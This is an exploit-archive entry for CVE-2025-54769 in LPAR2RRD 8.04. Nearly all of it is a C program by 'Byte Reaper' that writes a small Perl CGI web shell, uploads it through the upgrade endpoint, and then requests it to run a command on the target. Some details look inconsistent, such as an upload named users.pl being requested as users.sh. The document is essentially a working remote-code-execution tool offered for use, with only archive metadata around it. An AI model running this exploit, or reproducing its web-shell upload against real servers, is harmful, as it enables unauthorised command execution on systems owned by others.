LPAR2RRD 8.04 - Remote Code Execution (RCE)

Author: Byte Reaper
type: webapps
platform: multiple
port: 
date_added: 2025-08-03  
date_updated: 2025-08-03  
verified: 0  
codes: CVE-2025-54769  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52391.c  
/*
 * Author       : Byte Reaper
 * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE)
 * CVE          : CVE-2025-54769
 * Vulnerability: RCE && directory traversal
 * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint,
 * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.
 */

 #include <stdio.h>
 #include <stdlib.h>
 #include <curl/curl.h>
 #include "argparse.h"
 #include <string.h>
 #include <time.h>
 #include <arpa/inet.h>
 #define FULL 2500

 void sleepAssembly()
 {
     struct timespec s ;
     s.tv_sec = 0;
     s.tv_nsec = 500000000;

     __asm__ volatile
     (
         "mov $35, %%rax\n\t"
         "xor %%rsi, %%rsi\n\t"
         "syscall\n\t"
         :
         : "D" (&s)
         : "rax",
           "rsi",
           "memory"
        );
 }
 void syscallLinux()
 {
     __asm__ volatile
     (
         "mov $0x3C, %%rax\n\t"
         "xor %%rdi, %%rdi\n\t"
         "syscall\n\t"
         :
         :
         :"rax", "rdi"
     );
 }
 int fileS = 0;
 int useCookies = 0;
 int verboseMode = 0;
 const char *cookies;
 const char *ip = NULL;
 int portService = 0;
 int port = 0;
 int protocolS = 0;
 const char  *protocol = NULL;
 int CreateFilePerl()
 {
    FILE *fileP = fopen("users.pl", "w");
    if (fileP == NULL)
    {
        printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("[+] Create File Successfully\n");
    char payloadContent[7000];
    int payload = snprintf(payloadContent,
         sizeof(payloadContent),
     "#!/usr/bin/perl\n"
                 "use strict;\n"
                 "use warnings;\n"
                 "use CGI;\n"
                 "my $q   = CGI->new;\n"
                 "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n"
                 "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n"
                 "{\n"
                         "\tprint \"Content-type: text/html\\n\\n\";\n"
                         "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n"
                         "\tprint $commandW;\n"
                 "}\n"
        );
    if (payload < 0 || (size_t)payload >= sizeof(payloadContent))
    {
        fprintf(stderr,
            "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n");
        syscallLinux();
    }

    size_t e = strlen(payloadContent);
    unsigned long writeLen = fwrite(payloadContent,
         1, strlen(payloadContent),
          fileP);
    if (writeLen != e)
    {
        printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n");
    fclose(fileP);
    return 1;
}
const char *resultCommand[] =
{
    "root",
    "admin",
    "user",
    "ssh",
    "/home/",
    NULL
};

struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr,
    size_t size,
    size_t nmemb,
    void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        syscallLinux();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void getRequest(CURL *curl, const char *targetIP)
{
    struct Mem responseGet ;
    responseGet.buffer = NULL;
    responseGet.len = 0;
    CURLcode codeLib;
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
              ? port
           : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, sizeof(full),
                  "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux",
                     proto, targetIP, prt);
    if (n < 0 || (size_t)n >= sizeof(full))
    {
         fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
         syscallLinux();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);
    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
    sleepAssembly();
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);

    if (useCookies)
    {
         curl_easy_setopt(curl,
            CURLOPT_COOKIEFILE,
            cookies);
         curl_easy_setopt(curl,
             CURLOPT_COOKIEJAR,
             cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                CURLOPT_VERBOSE,
                         1L);
    }

    printf("\e[1;37m[+] GET URL: %s\e[0m\n",
        full);
    struct curl_slist *headers = NULL;
     headers = curl_slist_append(headers ,
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    headers = curl_slist_append(headers,
         "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers,
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers,
        "Upgrade-Insecure-Requests: 1");
    headers = curl_slist_append(headers,
        "Sec-Fetch-Dest: document");
    headers = curl_slist_append(headers,
        "Sec-Fetch-Mode: navigate");
    headers = curl_slist_append(headers,
        "Priority: u=0, i");
    headers = curl_slist_append(headers,
        "Pragma: no-cache");
    headers = curl_slist_append(headers,
        "Cache-Control: no-cache");
    headers = curl_slist_append(headers,
        "Connection: keep-alive");
    curl_easy_setopt(curl,
        CURLOPT_HTTPHEADER,
        headers);
    codeLib = curl_easy_perform(curl);
    curl_slist_free_all(headers);
    if (codeLib == CURLE_OK)
    {
        printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n");
        long codeH = 0;
        curl_easy_getinfo(curl,
            CURLINFO_RESPONSE_CODE,
             &codeH);

        printf("\e[1;36m[+] Request GET sent successfully\e[0m\n");
        printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
        if (responseGet.buffer)
        {
            if (verboseMode)
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n");

                printf("%s\n", responseGet.buffer);
                printf("\e[1;35m===================================================================================================================\e[0m\n");
            }
        }

        if (codeH >= 200 && codeH < 300)
        {
            printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
            printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
            if (responseGet.buffer)
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\e[0m\n",
                        responseGet.len);
                    printf("\e[1;35m===================================================================================================================\n");
                for (int j = 0; resultCommand[j]; j++)
                {
                    if (strstr(responseGet.buffer, resultCommand[j]))
                    {
                        printf("\e[1;34m[+] Word Found In Response.\e[0m\n");
                        printf("\e[1;34m[+] Word : %s\e[0m\n",
                                resultCommand[j]);
                        printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n");
                    }
                    else
                    {
                        if (verboseMode)
                        {
                            printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n",
                                resultCommand[j]);
                        }
                        else
                        {
                            continue;
                        }

                    }

                }
            }
            else
            {
                printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n");
                if (verboseMode)
                {
                    printf("\e[1;31m[-] Exit Syscall\e[0m\n");
                }
            }
        }
        else
        {
            printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
            if (verboseMode)
            {
                if (responseGet.buffer)
                {
                    printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len);
                    printf("\e[1;35m\n=============================================================================================\e[0m\n");
                }
            }
        }
    }
    else
    {
        fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib));
        syscallLinux();
    }

    free(responseGet.buffer);
    responseGet.buffer = NULL;
    responseGet.len = 0;
    curl_easy_cleanup(curl);
}

void remoteCode(const char *ipS)
{

    CURL *curl = curl_easy_init();
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    CURLcode codeLibCurl;
    if (verboseMode)
    {
        printf("\e[1;35m================================== [Value Response] ==================================\n");
        printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer);
        printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len);
        printf("\e[1;35m=======================================================================================\n");
    }
    if (!curl)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n");
        syscallLinux();
    }
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
               ? port
               : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full,
        sizeof(full),
                      "%s://%s:%d/lpar2rrd-cgi/upgrade.sh",
                      proto, ipS, prt);
     if (n < 0 || (size_t)n >= sizeof(full))
     {
        fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
        syscallLinux();
     }


    if (!CreateFilePerl())
    {
        fprintf(stderr,
            "\e[1;31m[-] Failed to create File users.pl\e[0m\n");
        syscallLinux();
    }

    printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full);

    curl_mime *form = curl_mime_init(curl);
    curl_mimepart *field = curl_mime_addpart(form);
    curl_mime_name(field,
        "upgfile");
    curl_mime_filedata(field,
         "users.pl");
    curl_mime_filename(field,
         "users.pl");
    curl_mime_type(field,
         "application/x-perl");
    curl_easy_setopt(curl,
         CURLOPT_URL,
         full);
    curl_easy_setopt(curl,
         CURLOPT_POST,
         1L);
    curl_easy_setopt(curl,
         CURLOPT_MIMEPOST, form);
    curl_easy_setopt(curl,
        CURLOPT_WRITEFUNCTION,
        write_cb);
    curl_easy_setopt(curl,
         CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl,
        CURLOPT_FOLLOWLOCATION,
         1L);
    curl_easy_setopt(curl,
         CURLOPT_CONNECTTIMEOUT,
         5L);
    sleepAssembly();
    curl_easy_setopt(curl,
        CURLOPT_TIMEOUT,
        10L);

    if (useCookies)
    {
        curl_easy_setopt(curl,
            CURLOPT_COOKIEFILE,
             cookies);
        curl_easy_setopt(curl,
            CURLOPT_COOKIEJAR,
            cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                    CURLOPT_VERBOSE,
                       1L);
    }

    struct curl_slist *headers = NULL;
    char host[128];
    int lenIp = snprintf(host ,
        sizeof(host),
       "Host: %s:%d",
              ipS, prt);
    if (lenIp < 0 || (size_t)lenIp >= sizeof(host))
    {
        printf("\e[1;31m[-] IP Address is Long !\e[0m\n");
        syscallLinux();
    }
    headers = curl_slist_append(headers,
        "Accept: */*");
    headers = curl_slist_append(headers,
        "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers,
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers,
        "X-Requested-With: XMLHttpRequest");
    headers = curl_slist_append(headers,
        "Connection: keep-alive");
    headers = curl_slist_append(headers,
        "Priority: u=0");
    headers = curl_slist_append(headers, "Authorization: <base64-credentials>");
    headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0");
    headers = curl_slist_append(headers ,
         host);
    void *m = memset(host , 0, sizeof(host));
    if (m == NULL)
    {
        fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n");
        syscallLinux();
    }
    int lenO = snprintf(host ,
        sizeof(host),
         "Origin: https://%s:%d",
            ipS, prt);
    if (lenO < 0 || (size_t)lenO >= sizeof(host))
    {
        syscallLinux();
    }
    headers = curl_slist_append(headers,
        host);
    curl_easy_setopt(curl,
    CURLOPT_HTTPHEADER,
        headers);

    codeLibCurl = curl_easy_perform(curl);
    curl_mime_free(form);
    curl_slist_free_all(headers);

    if (codeLibCurl != CURLE_OK)
    {
        fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n",
            curl_easy_strerror(codeLibCurl));
        syscallLinux();
    }
    long httpCode = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
        &httpCode);
    printf("\e[1;36m[+] Protocol  : %s\e[0m\n", protocol);
    printf("\e[1;36m[+] Port : %d\e[0m\n", port);
    printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);;
    if (httpCode >= 200 && httpCode < 300)
    {
        printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
        if (response.buffer)
        {
            printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
            printf("%s\n", response.buffer);
            printf("\e[1;32m    [+] Len Response : %zu\e[0m\n",response.len);
            printf("\e[1;35m\n=============================================================================================\e[0m\n");
            if (strstr(response.buffer, "This file doesn't look like the upgrade package"))
            {
                printf("\e[1;34m[+] Sentence found in reply.\e[0m\n");
                printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n");
                printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n");
                getRequest(curl, ipS);
            }
        }
        else
        {
            fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n");
            fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n");
            if (verboseMode)
            {
                    fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n");
            }
            syscallLinux();
        }
    }
    else
    {
        printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
        if (verboseMode)
        {
            if (response.buffer)
            {
                printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                printf("%s\n", response.buffer);
                printf("\e[1;32m[-] Len Response : %zu\n",response.len);
                printf("\e[1;35m\n=============================================================================================\e[0m\n");
            }
        }
    }


    free(response.buffer);
    response.buffer = NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
}


int main(int argc,
    const char **argv)
{
     printf(
         "\e[1;31m"
         "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖  \n"
         "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌  \n"
         "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌ ▌▙▌▄▌  \n"
                "\e[1;37m\t\tByte Reaper\n"
    );
    curl_global_init(CURL_GLOBAL_DEFAULT);
    printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n");

    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ip,
                    "Enter Target IP"),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_INTEGER('p',
             "port",
             &port ,
             "Enter Target Port Service"),
        OPT_STRING('t',
              "protocol",
              &protocol,
             "Enter Protocol Service (http / https)"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verboseMode,
                     "Verbose Mode"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                   options,
                   NULL,
                   0);

    argparse_parse(&argparse,
                    argc,
                    argv);
    in_addr_t q = inet_addr(ip);
    if (q == INADDR_NONE)
    {
            printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
            syscallLinux();
    }
    if (!ip)
    {
        fprintf(stderr,"\e[1;31m[-] Please Enter Target IP  !\e[0m\n");

        fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i <IP> \e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n");
        syscallLinux();
    }
    if (verboseMode)
    {
        verboseMode = 1;
    }
    if (cookies)
    {
        useCookies = 1;
    }
    if (port)
    {
        portService = 1;
    }
    if (protocol)
    {
        protocolS = 1;
    }
    remoteCode(ip);
    curl_global_cleanup();
    return 0;
 }